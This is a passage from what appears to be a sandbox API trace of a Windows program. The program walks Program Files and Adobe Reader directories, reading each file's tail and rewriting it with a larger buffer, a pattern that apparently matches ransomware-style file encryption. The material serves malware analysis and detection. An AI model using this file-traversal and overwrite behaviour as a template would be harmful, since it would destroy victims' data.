Files\\Microsoft Synchronization Services\\starbuys.exe" (normalized: "c:\\program files\\microsoft synchronization services\\starbuys.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.875] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", lpFilePart=0x2f4f690*="starbuys.exe") returned 0x40 [0034.875] GetLastError () returned 0x20 [0034.875] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x51 [0034.875] LocalFree (hMem=0x70d838) returned 0x0 [0034.875] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0034.875] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0034.875] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.876] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe" (normalized: "c:\\program files\\microsoft synchronization services\\starbuys.exe")) returned 0x20 [0034.876] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", lpFilePart=0x2f4f690*="Journal.exe.mui") returned 0x36 [0034.876] GetLastError () returned 0x5 [0034.876] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0034.876] LocalFree (hMem=0x70b5a8) returned 0x0 [0034.876] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0034.876] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0034.876] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.876] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui")) returned 0x20 [0034.877] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", lpFilePart=0x2f4f690*="Genko_2.jtp") returned 0x36 [0034.884] GetLastError () returned 0x5 [0034.884] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0034.884] LocalFree (hMem=0x70b5a8) returned 0x0 [0034.884] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0034.884] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0034.884] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.884] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp")) returned 0x20 [0034.885] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", lpFilePart=0x2f4f690*="msoeres.dll.mui") returned 0x33 [0034.889] GetLastError () returned 0x5 [0034.889] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0034.889] LocalFree (hMem=0x70b5a8) returned 0x0 [0034.889] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0034.889] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0034.889] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.889] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui")) returned 0x20 [0034.890] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", lpFilePart=0x2f4f690*="ImagingDevices.exe") returned 0x38 [0034.895] GetLastError () returned 0x5 [0034.895] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0034.895] LocalFree (hMem=0x70b5a8) returned 0x0 [0034.895] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0034.895] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0034.895] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.896] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0034.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe")) returned 0x20 [0034.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.899] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.899] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41e3 [0034.899] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.899] ReleaseMutex (hMutex=0x128) returned 1 [0034.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeesMij.htm", lpUsedDefaultChar=0x0) returned 11 [0034.900] ReadFile (in: hFile=0x168, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x31e3 [0034.904] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x31e3 [0034.908] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.908] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.908] CloseHandle (hObject=0x168) returned 1 [0034.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrotextextractor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.909] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.909] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xbfa8 [0034.910] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.910] ReleaseMutex (hMutex=0x128) returned 1 [0034.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0034.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroTextExtractor.exe", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroTextExtractor.exe", lpUsedDefaultChar=0x0) returned 21 [0034.910] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.912] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xafa8 [0034.912] ReadFile (in: hFile=0x168, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.916] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xafa8 [0034.917] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.917] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.917] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.918] CloseHandle (hObject=0x168) returned 1 [0034.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.919] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.919] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e00 [0034.919] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.919] ReleaseMutex (hMutex=0x128) returned 1 [0034.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0034.919] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0034.921] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0034.921] WriteFile (in: hFile=0x168, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0034.921] CloseHandle (hObject=0x168) returned 1 [0034.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.923] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.923] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0034.923] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.923] ReleaseMutex (hMutex=0x128) returned 1 [0034.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0034.923] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0034.925] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0034.925] WriteFile (in: hFile=0x168, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0034.926] CloseHandle (hObject=0x168) returned 1 [0034.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.928] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.928] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e00 [0034.928] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.928] ReleaseMutex (hMutex=0x128) returned 1 [0034.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0034.928] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.151] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0035.151] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.163] CloseHandle (hObject=0x168) returned 1 [0035.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.173] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.173] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e00 [0035.174] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.174] ReleaseMutex (hMutex=0x128) returned 1 [0035.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0035.175] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.185] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0035.185] WriteFile (in: hFile=0x168, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.190] CloseHandle (hObject=0x168) returned 1 [0035.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.196] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.196] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e00 [0035.196] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.196] ReleaseMutex (hMutex=0x128) returned 1 [0035.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", 